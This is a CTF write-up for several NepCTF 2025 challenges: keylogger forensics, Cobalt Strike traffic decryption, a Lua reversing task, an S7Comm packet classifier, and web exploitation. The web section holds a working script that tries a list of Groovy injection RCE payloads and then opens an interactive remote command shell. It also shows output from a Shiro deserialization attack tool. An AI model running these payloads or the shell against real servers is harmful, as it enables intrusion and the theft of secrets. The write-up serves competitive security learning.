Misc
NepBotEvent
Challenge
最近总觉得NepBot不对劲,邀请函生成速度慢也就算了,以至于
/home/Nepnep/目录下都被创建了flag.txt,吓得他赶紧拔网线跑路。经过初步排查,Neper在他的机器上发现了一个神秘的键盘记录器(Keylogger)残留痕迹!虽然恶意程序已被清除,但攻击者究竟掌握了哪些敏感信息?NepBOT的账号有没有被窃?他的“数据库”是不是也暴露了?请你协助分析泄露的数据库名。flag格式例如:
NepCTF{数据库名}
Solution
文件内容呈现出明显的重复的块状结构(如下图)。通过观察重复出现的字节序列,可以初步推断记录是定长的,并且长度为24字节。同时整个文件的大小为30648字节,发现30648能被24整除,这印证了前面的猜想,一个记录块的大小很可能是24字节。

文件开头有字节序列B7 43 83 68,这看起来像一个32位的数值。如果将其作为小端整数0x688343B7解析并尝试作为Unix时间戳转换,会得到一个日期2025-07-25 16:43:37。由于比赛开始时间为2025-07-25 19:00:00,很显然这个猜想也是正确的。因此这个二进制文件就是原始的Linux键盘事件流记录。
解析脚本如下:
import structfrom datetime import datetime # Linux /usr/include/linux/input-event-codes.h 的部分键码映射KEY_MAP = { 1: '[ESC]', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0', 12: '-', 13: '=', 14: '[BACKSPACE]', 15: '[TAB]', 16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: '[ENTER]', 29: '[L_CTRL]', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: '[L_SHIFT]', 43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 54: '[R_SHIFT]', 55: '[KP*]', 56: '[L_ALT]', 57: ' ', 58: '[CAPS_LOCK]', 59: '[F1]', 60: '[F2]', 61: '[F3]', 62: '[F4]', 63: '[F5]', 64: '[F6]', 65: '[F7]', 66: '[F8]', 67: '[F9]', 68: '[F10]', 69: '[NUM_LOCK]', 70: '[SCROLL_LOCK]', 96: '[KP_ENTER]', 97: '[R_CTRL]', 98: '[KP_/]', 100: '[R_ALT]', 102: '[HOME]', 103: '[UP]', 104: '[PGUP]', 105: '[LEFT]', 106: '[RIGHT]', 107: '[END]', 108: '[DOWN]', 109: '[PGDN]', 110: '[INSERT]', 111: '[DELETE]', 125: '[WIN_KEY]'} SHIFT_MAP = { '`': '~', '1': '!', '2': '@', '3': '#', '4': '$', '5': '%', '6': '^', '7': '&', '8': '*', '9': '(', '0': ')', '-': '_', '=': '+', '[': '{', ']': '}', '\\': '|', ';': ':', "'": '"', ',': '<', '.': '>', '/': '?'} def analyze_linux_input_log(filepath): """ 解析基于Linux input_event结构的文件 """ try: with open(filepath, 'rb') as f: data = f.read() except FileNotFoundError: print(f"错误: 文件未找到 '{filepath}'") return record_size = 24 records_count = len(data) // record_size print(f"成功读取文件: {filepath} ({len(data)} 字节)") print(f"解析 {records_count} 条Linux input_event记录。\n") print("-" * 80) shift_pressed = False output = "" last_ts_sec = 0 for i in range(records_count): offset = i * record_size try: # < : Little-endian # L : tv_sec (unsigned long, 4 or 8 bytes, let's assume 8 for 64-bit with padding) # Q : tv_usec (unsigned long long, 8 bytes) # H : type (unsigned short, 2 bytes) # H : code (unsigned short, 2 bytes) # i : value (signed int, 4 bytes) # We use QQHHi to match 8+8+2+2+4 = 24 bytes tv_sec, tv_usec, ev_type, ev_code, ev_value = \ struct.unpack_from('<QQHHi', data, offset) except struct.error as e: print(f"\n错误: 无法在偏移量 {offset} 处解包记录: {e}") continue # 仅处理按键事件 (EV_KEY = 1) if ev_type == 1: if ev_code in [42, 54]: # KEY_LEFTSHIFT or KEY_RIGHTSHIFT shift_pressed = (ev_value == 1 or ev_value == 2) # 1=press, 2=repeat continue # 只在按键被按下或重复时记录 if ev_value == 1 or ev_value == 2: char = KEY_MAP.get(ev_code, f'[KEY_0x{ev_code:X}]') # 处理Shift键 if shift_pressed: if len(char) == 1 and char.isalpha(): output += char.upper() else: output += SHIFT_MAP.get(char, char) else: output += char # 同步事件 (EV_SYN = 0) 通常表示一次完整输入动作的结束 elif ev_type == 0: if output: # 打印时间戳(仅当秒数变化时) if tv_sec != last_ts_sec: dt = datetime.fromtimestamp(tv_sec) print(f"\n--- {dt.strftime('%Y-%m-%d %H:%M:%S')} ---") last_ts_sec = tv_sec print(output.replace("[ENTER]", "\n"), end="") output = "" # 打印文件中最后未同步的内容 if output: print(output.replace("[ENTER]", "\n")) print("\n" + "-" * 80) print("分析完成。") if __name__ == "__main__": log_file = "NepBot_keylogger" analyze_linux_input_log(log_file)下面是运行结果中的关键部分:
--- 2025-07-25 16:44:23 ---[BACKSPACE]N--- 2025-07-25 16:44:24 ---epC--- 2025-07-25 16:44:25 ---TF--- 2025-07-25 16:44:26 ------- 2025-07-25 16:44:27 ---20--- 2025-07-25 16:44:28 ---2--- 2025-07-25 16:44:29 ---50725--- 2025-07-25 16:44:32 ------- 2025-07-25 16:44:33 ---114--- 2025-07-25 16:44:34 ---514--- 2025-07-25 16:44:36 ---;拼起来即可得到flag
NepCTF{NepCTF-20250725-114514}客服小美
Challenge
2025年的一个午后,客服小美满怀期待地点开了那封标题为“关于2025年部分节假日安排”的邮件,结果嘛……你懂的,套路来了!作为应急响应界的“技术侦探”,现在轮到你出手啦!你的任务是找出被控机器的用户名、揪出那个偷偷通信的钓鱼木马地址,顺便看看有没有啥敏感信息被顺走。快来动动脑,展现你破案如神的本领吧!flag格式例如:
NepCTF{xiaomei_8.8.8.8:11451_secret}
Solution
先找出恶意程序的文件名

然后找到目录

得到被控机器的用户名JohnDoe
恶意文件关于2025年部分节假日安排的通知.exe就在桌面M:\forensic\files\ROOT\Users\JohnDoe\Desktop
用云沙箱分析奇安信情报沙箱、微步在线云沙箱,发现是Cobalt Strike

分析流量得到 C2 服务器的 IP 192.168.27.132,端口12580

把这个进程的内存 dump 出来得到 pid.6492.dmp
找到这个开源项目DidierStevensSuite/cs-extract-key.py at master · DidierStevens/DidierStevensSuite
用第103条流量的内容暴力破解找到下行通信的密钥组:
python cs-extract-key.py -t 0253784ee86d3fc54693bb7ee14f40d64700446a4604ca0054103ba84e1a831d2a369c501e2a2522abdd9f5fe7652a16fd242669f6b10fb52e8b2b032a7ae00f6b25a8cecdffde72dadf1a18c1225f92 pid.6492.dmp输出:
File: pid.6492.dmpSearching for AES and HMAC keysFound 2 instance(s) of string sha256\x00Searching after sha256\x00 string (0x61a44)AES key position: 0x00068c60AES Key: a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.200000HMAC key position: 0x00068c70HMAC Key: 35d34ac8778482751682514436d71e09SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7AES key position: 0x000ffaa7AES Key: 4df048894c242033c9ff1592a5000048 M.H.L$ 3.......H 89.266667Searching for raw keySearching after sha256\x00 string (0x27ee2f4)Searching for raw key上行通信使用另一套不同的密钥组,用同样的方法获取:
python cs-extract-key.py -c 00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a pid.6492.dmp输出:
File: pid.6492.dmpSearching for AES and HMAC keysFound 2 instance(s) of string sha256\x00Searching after sha256\x00 string (0x61a44)AES key position: 0x00068c60AES Key: a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.200000HMAC key position: 0x00068c70HMAC Key: 35d34ac8778482751682514436d71e09SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7Searching for raw keySearching after sha256\x00 string (0x27ee2f4)Searching for raw key后面参考这篇文章Cobalt Strike流量解密 - 1cePeak,使用到的项目WBGlIl/CS_Decrypt
hex数据使用base64编码

再调用CS_Task_AES_Decrypt.pyCS_Decrypt/CS_Task_AES_Decrypt.py at main · WBGlIl/CS_Decrypt来解密执行的命令
'''cobaltstrike任务解密'''import hmacimport binasciiimport base64import struct import hexdumpfrom Crypto.Cipher import AES def compare_mac(mac, mac_verif): if mac == mac_verif: return True if len(mac) != len(mac_verif): print "invalid MAC size" return False result = 0 for x, y in zip(mac, mac_verif): result |= x ^ y return result == 0 def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key): if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature): print("message authentication failed") return cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes) data = cypher.decrypt(encrypted_data) return data def readInt(buf): return struct.unpack('>L', buf[0:4])[0] # 接收到的任务数据shell_whoami= "AlN4TuhtP8VGk7t+4U9A1kcARGpGBMoAVBA7qE4agx0qNpxQHiolIqvdn1/nZSoW/SQmafaxD7UuiysDKnrgD2slqM7N/95y2t8aGMEiX5I=" if __name__ == "__main__": # key源自Beacon_metadata_RSA_Decrypt.py SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7") HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09") enc_data = base64.b64decode(shell_whoami) print("数据总长度:{}".format(len(enc_data))) signature = enc_data[-16:] encrypted_data = enc_data[:-16] iv_bytes = bytes("abcdefghijklmnop",'utf-8') dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY) counter = readInt(dec) print("时间戳:{}".format(counter)) decrypted_length = readInt(dec[4:]) print("任务数据包长度:{}".format(decrypted_length)) data = dec[8:len(dec)] print("任务Data") print(hexdump.hexdump(data)) # 任务标志 Task_Sign=data[0:4] print("Task_Sign:{}".format(Task_Sign)) # 实际的任务数据长度 Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False) print("Task_file:{}".format(Task_file_len)) with open('data.bin', 'wb') as f: f.write(data[8:Task_file_len]) print(hexdump.hexdump(data[Task_file_len:]))运行得到:
数据总长度:80时间戳:1736753536任务数据包长度:46任务Data00000000: 00 00 00 4E 00 00 00 26 00 00 00 09 25 43 4F 4D ...N...&....%COM00000010: 53 50 45 43 25 00 00 00 13 20 2F 43 20 74 79 70 SPEC%.... /C typ00000020: 65 20 73 65 63 72 65 74 2E 74 78 74 00 00 41 41 e secret.txt..AA00000030: 41 41 41 41 41 41 41 41 AAAAAAAANoneTask_Sign:b'\x00\x00\x00N'Task_file:3800000000: 65 74 2E 74 78 74 00 00 41 41 41 41 41 41 41 41 et.txt..AAAAAAAA00000010: 41 41 AANone发现这里启动一个新的 cmd.exe 进程,用它来读取并显示一个名为 secret.txt 的文件的内容,然后关闭这个 cmd.exe 进程

因此只要解密紧跟在 #103 之后的那个 POST 请求 #110 即可得到 secret.txt 的内容
解密hex数据,进行base64编码

然后再使用Beacon_Task_return_AES_Decrypt.pyCS_Decrypt/Beacon_Task_return_AES_Decrypt.py at main · WBGlIl/CS_Decrypt来解密
# -*- coding: utf-8 -*- '''Beacon任务执行结果解密'''import hmacimport binasciiimport base64import structimport hexdumpfrom Crypto.Cipher import AES def compare_mac(mac, mac_verif): if mac == mac_verif: return True if len(mac) != len(mac_verif): print "invalid MAC size" return False result = 0 for x, y in zip(mac, mac_verif): result |= x ^ y return result == 0 def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key): if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature): print("message authentication failed") return cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes) data = cypher.decrypt(encrypted_data) return data # key源自Beacon_metadata_RSA_Decrypt.pySHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09") encrypt_data="AAAAUDUMp/Q3nzDMnW1nHbiG02BpHHRGcVbmDoNWclri87iAswLqi1VW3xAyToblPsuEBGZGoXWOnLjH/KQtZgYXvkZ2J6vMPAzjvT6TwC//y006" encrypt_data=base64.b64decode(encrypt_data) encrypt_data_length=encrypt_data[0:4] encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False) encrypt_data_l = encrypt_data[4:len(encrypt_data)] data1=encrypt_data_l[0:encrypt_data_length-16]signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]iv_bytes = bytes("abcdefghijklmnop",'utf-8') dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY) counter = dec[0:4]counter=int.from_bytes(counter, byteorder='big', signed=False)print("counter:{}".format(counter)) dec_length = dec[4:8]dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)print("任务返回长度:{}".format(dec_length)) de_data= dec[8:len(dec)]Task_type=de_data[0:4]Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)print("任务输出类型:{}".format(Task_type)) # print(de_data[4:dec_length].decode('utf-8'))print(de_data[4:dec_length]) print(hexdump.hexdump(dec))运行得到:
counter:4任务返回长度:40任务输出类型:30b'5c1eb2c4-0b85-491f-8d50-4e965b9d8a43'00000000: 00 00 00 04 00 00 00 28 00 00 00 1E 35 63 31 65 .......(....5c1e00000010: 62 32 63 34 2D 30 62 38 35 2D 34 39 31 66 2D 38 b2c4-0b85-491f-800000020: 64 35 30 2D 34 65 39 36 35 62 39 64 38 61 34 33 d50-4e965b9d8a4300000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................None组合起来得到flag:
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}SpeedMino
Challenge
Welcome to SpeedMino! Reach 2600.00 to get FLAG
Also, there is a SECRET FLAG you need to REVERSE it.
Solution

其实就是个zip压缩包,解压之后拿到main.lua直接在此基础上修改代码,留下核心的解密部分稍微改改运行一下就出结果了
Lua环境下载[Download lua-5.4.2_Win64_bin.zip (LuaBinaries)](https://sourceforge.net/projects/luabinaries/files/5.4.2/Tools Executables/lua-5.4.2_Win64_bin.zip/download)
local function KSA() local key = "Speedmino Created By MrZ and modified by zxc" local key_len = #key local S = {} for i = 0, 255 do S[i] = i end local j = 0 for i = 0, 255 do j = (j + S[i] + string.byte(key, i % key_len +1 , i % key_len +1)) % 256 S[i], S[j] = S[j], S[i] end return Send local function tableToStr(text) local text_len = text[0] local outstring = "" local c for i = 1, text_len do c = text[i] if c < 32 or c >= 127 then outstring = outstring .. "#" else outstring = outstring .. string.char(c) end end return outstringend local secretBox = KSA()local secret_i = 0local secret_j = 0local youwillget = {187,24,5,131,58,243,176,235,179,159,170,155,201,23,6,3,210,27,113,11,161,94,245,41,29,43,199,8,200,252,86,17,72,177,52,252,20,74,111,53,28,6,190,108,47,16,237,148,82,253,148,6}youwillget[0] = #youwillget local function calcData(text_table) local K = {} local text_len = text_table[0] K[0] = text_len for n = 1, text_len do secret_i = (secret_i + 1) % 256 secret_j = (secret_j + secretBox[secret_i]) % 256 secretBox[secret_i], secretBox[secret_j] = secretBox[secret_j], secretBox[secret_i] K[n] = (text_table[n] + secretBox[(secretBox[secret_i] + secretBox[secret_j]) % 256]) % 256 end return Kend local dummy_table = {}dummy_table[0] = 55for i = 1, 55 do dummy_table[i] = 0endcalcData(dummy_table) for i = 1, 2600 do youwillget = calcData(youwillget)end local final_message = tableToStr(youwillget)print(final_message)运行得到flag
NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}问卷
还以为是填完给flag,结果瞎填完了没给flag倒回来看才发现flag在问卷开头。。。(orz后来认真填了
NepCTF{W3lcome2025NepCTF_SeeYouNexT2026!}Web
easyGooGooVVVY
Challenge
高松灯是一名java安全初学者,最近她在看groovy表达式注入。。。
Solution
这题AI一把梭了
让AI写一个脚本用于并发地测试一系列预设的 Groovy payload (这个也是让AI写的)尝试找到一个能够成功执行命令的 payload
一旦找到可用的 payload 就立即停止扫描,然后利用这个 payload 让我交互
import asyncioimport aiohttpimport sys # --- 配置区 ---URL = "https://nepctf31-y6w3-pjmd-y50k-6n6r0yvr2456.nepctf.com/run"PAYLOADS = [ '"id".execute().text', '("i"+"d").execute().text', '["i","d"].join("").execute().text', "['/bin/sh', '-c', 'id'].execute().text", 'new ProcessBuilder("id").start().text', 'this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()', "Class.forName('java.lang.ProcessBuilder').getConstructor([String[].class]).newInstance((Object) ['id'] as String[]).start().text", '@groovy.transform.ASTTest(value={ assert "id".execute().text }) ""', 'String.metaClass.execute = { -> "id".execute().text }; "".execute()', '{-> "id".execute().text}()',] # --- 脚本主逻辑 --- async def send_command(session: aiohttp.ClientSession, payload: str): """发送单个命令并返回结果""" headers = {'Content-Type': 'text/plain'} try: async with session.post(URL, data=payload, headers=headers, timeout=10) as response: return await response.text() except Exception as e: return f"请求失败: {e}" async def test_payload(session: aiohttp.ClientSession, payload: str, rce_found_event: asyncio.Event, found_payload_info: dict): """测试单个payload,如果成功则设置事件""" if rce_found_event.is_set(): return result = await send_command(session, payload) if "uid=" in result and "gid=" in result: if not rce_found_event.is_set(): print("\n" + "="*50) print(">>> 🎉 成功!找到可用的 RCE Payload! 🎉") print(f">>> Payload: {payload}") print(f">>> 响应: {result.strip()}") print("="*50 + "\n") found_payload_info['payload'] = payload rce_found_event.set() async def interactive_shell(session: aiohttp.ClientSession, working_payload: str): """启动一个交互式 shell 来发送命令""" # #################################################################### # # 关键改动在这里! # # # 我们现在尝试替换多种可能的命令模式 # # #################################################################### payload_template = None command_patterns_to_replace = [ '("i"+"d")', # 对应 ("i"+"d").execute().text '"id"', # 对应 "id".execute().text '["i","d"]', # 对应 ["i","d"].join("").execute().text "['/bin/sh', '-c', 'id']", # 对应 ... # 注意:这里的替换逻辑是简单的字符串替换,可能需要根据具体payload微调。 # 例如,对于ASTTest,可能需要替换里面的 "id" ] # 尝试自动创建模板 for pattern in command_patterns_to_replace: if pattern in working_payload: # 对于拼接字符串,我们需要用 "{cmd}" 替换,让它成为一个 Groovy 变量 # 对于其他情况,我们可能需要用 '"{cmd}"' 替换,让它成为一个字符串 # 这里我们统一用 '"{cmd}"',这在大多数情况下更通用 # payload_template = working_payload.replace(pattern, '"{cmd}"') # 修正:对于 ("i"+"d") 这种,应该替换成 ("{cmd}") if pattern == '("i"+"d")': payload_template = working_payload.replace(pattern, '("{cmd}")') else: payload_template = working_payload.replace(pattern, '"{cmd}"') break # 如果自动创建失败,则进入手动模式 if not payload_template: print(f"[!] 警告:无法自动创建命令模板。") print(f"[!] 成功的 Payload 是: {working_payload}") manual_cmd_part = input("[?] 请**精确**输入上面Payload中代表命令的部分进行替换 (例如: \"i\"+\"d\" ): ") if manual_cmd_part: payload_template = working_payload.replace(manual_cmd_part, '"{cmd}"') else: print("[!] 输入为空,无法创建模板,退出。") return print("--- 开启交互式 RCE 终端 ---") print("输入 'exit' 或 'quit' 退出。") print(f"使用的 Payload 模板: {payload_template}\n") while True: try: cmd = input("[RCE Shell] $ ") if cmd.lower() in ['exit', 'quit']: print("终端已退出。") break if not cmd: continue # 将用户输入的命令填入模板,转义双引号防止注入破坏 safe_cmd = cmd.replace('"', '\\"') final_payload = payload_template.format(cmd=safe_cmd) print("...发送中...") response_text = await send_command(session, final_payload) print("\n--- [服务器响应] ---\n" + response_text.strip() + "\n" + "-"*20 + "\n") except KeyboardInterrupt: print("\n终端已退出。") break except Exception as e: print(f"发生错误: {e}") async def main(): rce_found_event = asyncio.Event() found_payload_info = {'payload': None} async with aiohttp.ClientSession() as session: print("--- 开始并发扫描 Payload ---") tasks = [test_payload(session, p, rce_found_event, found_payload_info) for p in PAYLOADS] await asyncio.gather(*tasks) if found_payload_info['payload']: await interactive_shell(session, found_payload_info['payload']) else: print("\n--- 扫描完成 ---") print("[!] 未能在列表中找到可用的 RCE Payload。") if __name__ == "__main__": if sys.platform == "win32": asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) asyncio.run(main())拿到shell之后在环境变量找到flag
--- 开始并发扫描 Payload ---==================================================>>> 🎉 成功!找到可用的 RCE Payload! 🎉>>> Payload: this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()>>> 响应: uid=1000(app) gid=1000(app) groups=1000(app)==================================================--- 开启交互式 RCE 终端 ---输入 'exit' 或 'quit' 退出。使用的 Payload 模板: this.class.forName("java.lang.Runtime").getRuntime().exec("{cmd}").getText()[RCE Shell] $ pwd...发送中...--- [服务器响应] ---/app--------------------[RCE Shell] $ env...发送中...--- [服务器响应] ---PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/binHOSTNAME=ret2shell-29-485-1753533036LANG=C.UTF-8JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreJAVA_VERSION=8u212JAVA_ALPINE_VERSION=8.212.04-r0FLAG=flag{dd620e79-67c3-3db2-2a85-48560d35ec04}KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1KUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpHOME=/home/appLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64 --------------------[RCE Shell] $
flag{dd620e79-67c3-3db2-2a85-48560d35ec04}RevengeGooGooVVVY
Challenge
稍微模拟一下real环境。题目不出网,没有给出完整jar,请根据题目环境和信息思考附件关联性并进行进一步探索。 有人指示我来复仇了 好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧
Solution
还是那个payload。。。难绷
this.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()
NepCTF{de5ab12d-d602-e757-2dfb-bd1f5bc9983c}JavaSeri
Challenge
路由带上login.jsp
Solution
工具一把梭

[++] 存在shiro框架![++] 找到key:kPH+bIxk5D2deZiIxcaaaA==[+] 爆破结束[-] 测试:CommonsBeanutils1 回显方式: AllEcho[-] 测试:CommonsBeanutils1 回显方式: TomcatEcho[-] 测试:CommonsBeanutils1 回显方式: SpringEcho[-] 测试:CommonsBeanutils1_183 回显方式: AllEcho[-] 测试:CommonsBeanutils1_183 回显方式: TomcatEcho[-] 测试:CommonsBeanutils1_183 回显方式: SpringEcho[-] 测试:CommonsCollections2 回显方式: AllEcho[-] 测试:CommonsCollections2 回显方式: TomcatEcho[-] 测试:CommonsCollections2 回显方式: SpringEcho[-] 测试:CommonsCollections3 回显方式: AllEcho[-] 测试:CommonsCollections3 回显方式: TomcatEcho[-] 测试:CommonsCollections3 回显方式: SpringEcho[-] 测试:CommonsCollectionsK1 回显方式: AllEcho[-] 测试:CommonsCollectionsK1 回显方式: TomcatEcho[-] 测试:CommonsCollectionsK1 回显方式: SpringEcho[-] 测试:CommonsCollectionsK2 回显方式: AllEcho[-] 测试:CommonsCollectionsK2 回显方式: TomcatEcho[-] 测试:CommonsCollectionsK2 回显方式: SpringEcho[-] 测试:CommonsBeanutilsString 回显方式: AllEcho[-] 测试:CommonsBeanutilsString 回显方式: TomcatEcho[-] 测试:CommonsBeanutilsString 回显方式: SpringEcho[++] 发现构造链:CommonsBeanutilsString_183 回显方式: AllEcho[++] 请尝试进行功能区利用。还是在环境变量

flag{924a3f0d-e035-1180-be46-9bb33b215d03}ICS
Factory - 水罐 SIEM
Challenge
薯饼最近给开了15年的工厂产线接上了互联网,但似乎抠门的薯饼没有采购新的设备,因此他只能自己实现一个SIEM。但是这个SIEM的准确度似乎欠佳。我们准备了一些流,你能帮助薯饼判断这些流是否是恶意的吗?
对于每一个报文,其给出格式如下
text<depth><overflow><waterActuator><packet> 1BYTE 1BYTE 1BYTE nBYTEs 0x001f50 0x001f60 0x001f70其中depth为水罐的水深度传感器数值,overflow为逻辑输出“是否溢出”,waterActuator为水闸开关,packet为操作报文。
当认为某报文为恶意时,请输入1,否则请输入0
薯饼准备了功能2,让你能够快速了解报文内容,请每次给他一个纯报文字符串(注意不含depth等前三字节),如下是一个输入例子。
textb'\x03\x00\x00\x19\x02\xf0\x802\x01\x00\x00\x08\xfc\x00\x08\x00\x00\x1e\x01\x00\x00\x00\x00\x00\x01'特别地,薯饼的控制单元架号为2300,存储的DB号为1002。
Solution
也是给我抢到🩸了😋

水罐有水位 (depth)、溢出 (overflow)、水闸 (waterActuator) 三个状态
从题目暗示的DB号、架号和报文格式可以推断协议是 S7Comm
经过分析,一个报文被判定为恶意的依据与水罐的物理状态无关,恶意行为完全体现在其S7Comm协议的构造层面
以下是识别恶意报文的特征,一个报文只要满足其中任意一条就视为恶意
恶意特征 1:非法功能调用
- 规则: 报文的COTP(面向连接的传输协议)参数字节不等于
0x80。这个关键字节是服务器发来的完整数据流中的第10个字节(索引为9)。 - 解释: 在标准的S7通信数据传输中,这个字节通常是
0x80。在此题目中,出题人将0x81到0x89的值用作代表各种被禁止的特殊功能(如系统诊断、代码上传等)的标志。这是最高优先级的恶意特征。 - 恶意报文示例:
# 第10个字节是 0x85 (正常应为 0x80) ↓↓55 00 01 03 00 00 21 02 f0 85 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d恶意特征 2:访问未授权内存区域
- 规则: 报文是一个标准数据包(COTP参数为
0x80),但其数据载荷中包含了ASCII字符串P_PROGRAM。 - 解释:
P_PROGRAM是西门子PLC中一个受保护的系统程序内存区。任何尝试直接读写该区域的通信都属于高危的未授权操作,意图篡改PLC的核心逻辑。 - 恶意报文示例:
# 报文尾部包含了 P_PROGRAM 的ASCII码(505f50524f4752414d) ↓ ↓82 00 01 03 00 00 21 02 f0 80 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d恶意特征 3:特定长度的畸形短报文
- 规则: 报文是一个标准数据包(COTP参数为
0x80),且不含P_PROGRAM,但其TPKT头中声明的总长度恰好为25字节 (\x00\x19)。 - 解释: 这是最隐蔽的规则。在此题的流量中,存在两种看似一样的短
0x80包。长度为19字节的包是正常的ACK(确认)包,而长度恰好为25字节的包是一种恶意构造的、不完整的或用于探测的畸形报文。 - 恶意报文示例:
# TPKT长度字段 (数据流第6、7字节) 的值是 0x0019 (25) ↓ ↓95 00 01 03 00 00 19 02 f0 80 32 01 00 00 08 fc 00 08 00 00 1e 01 00 00 00 00 00 01任何不满足以上三条规则中任意一条的报文,都可以被视为正常。
#!/usr/bin/env python3from pwn import * # --- 配置 ---HOST = "nepctf30-5qbd-u00j-45hi-9vvqo4prp833.nepctf.com"PORT = 443# context.log_level = 'debug' # --- 规则参数 ---DB_NUMBER_BYTES = b'\x03\xea' # DB 1002LONG_PACKET_THRESHOLD = 30 # 用于区分真实数据请求和简短ACK的长度阈值MALFORMED_SHORT_PACKET_LENGTH = 25 # 我们发现的恶意短包的特定长度 # --- 连接服务器 ---p = remote(HOST, PORT, ssl=True) # --- 选择功能1 ---p.sendlineafter(b'> ', b'1')log.info("已选择功能1")p.recvuntil(b'the correct data unit reference should be 2300.\n \n') try: for i in range(100): # 接收并打印服务器提示 prompt_line = p.recvline().decode().strip() log.info(f"收到提示: {prompt_line}") # 接收并解析报文 data_line = p.recvline().strip() try: raw_bytes = eval(data_line) except Exception as e: log.error(f"无法解析报文: {data_line}, 错误: {e}") break # 提取关键信息 depth = raw_bytes[0] cotp_param = raw_bytes[9] s7_packet = raw_bytes[3:] tpkt_length = u16(s7_packet[2:4], endian='big') # --- 判断逻辑 --- is_malicious = False reason = "判定为正常 (未命中任何恶意规则)" # 规则A: 非法功能调用 if cotp_param != 0x80: is_malicious = True reason = f"恶意 (规则A): COTP参数为 {hex(cotp_param)} (非0x80)。" # 规则B: 访问非法区域 elif b'P_PROGRAM' in raw_bytes: is_malicious = True reason = f"恶意 (规则B): 报文中包含 'P_PROGRAM' 关键字。" # 规则C: 畸形的短包 elif tpkt_length == MALFORMED_SHORT_PACKET_LENGTH: is_malicious = True reason = f"恶意 (规则C): 发现TPKT长度为 {tpkt_length} 的畸形短包。" # --- 打印分析过程和结果 --- print("-" * 60) log.info(f"正在分析 Packet {i} (depth={depth})") print(f" - 原始数据 (hex): {raw_bytes.hex()}") print(f" - TPKT 长度: {tpkt_length}, COTP 参数: {hex(cotp_param)}") # --- 发送判断并打印 --- decision = '1' if is_malicious else '0' if is_malicious: log.warning(reason) else: log.success(reason) p.sendlineafter(b'/ SIEM > ', decision.encode()) print(f" - 已发送判断: '{decision}'") print("-" * 60) log.success("所有100个报文处理完毕") p.interactive() except Exception as e: log.error(f"脚本出现异常: {e}")finally: p.close()
NepCTF{5f0aad89-eb5b-57f7-6d1e-7712871cad43}薯饼的PLC
Challenge
薯饼在二手市场淘了一个十五年前的全新成色PLC,他效仿GeekLogic在存储区里放了点东西。为了将这份喜悦分享出去,他将PLC映射到了互联网上。我们捕捉到了一段他通信时的流量,你能猜出他存了什么嘛?
Solution
唉,赛后做出来了,可惜晚了🥲😭😭😭先贴张提交正确的图

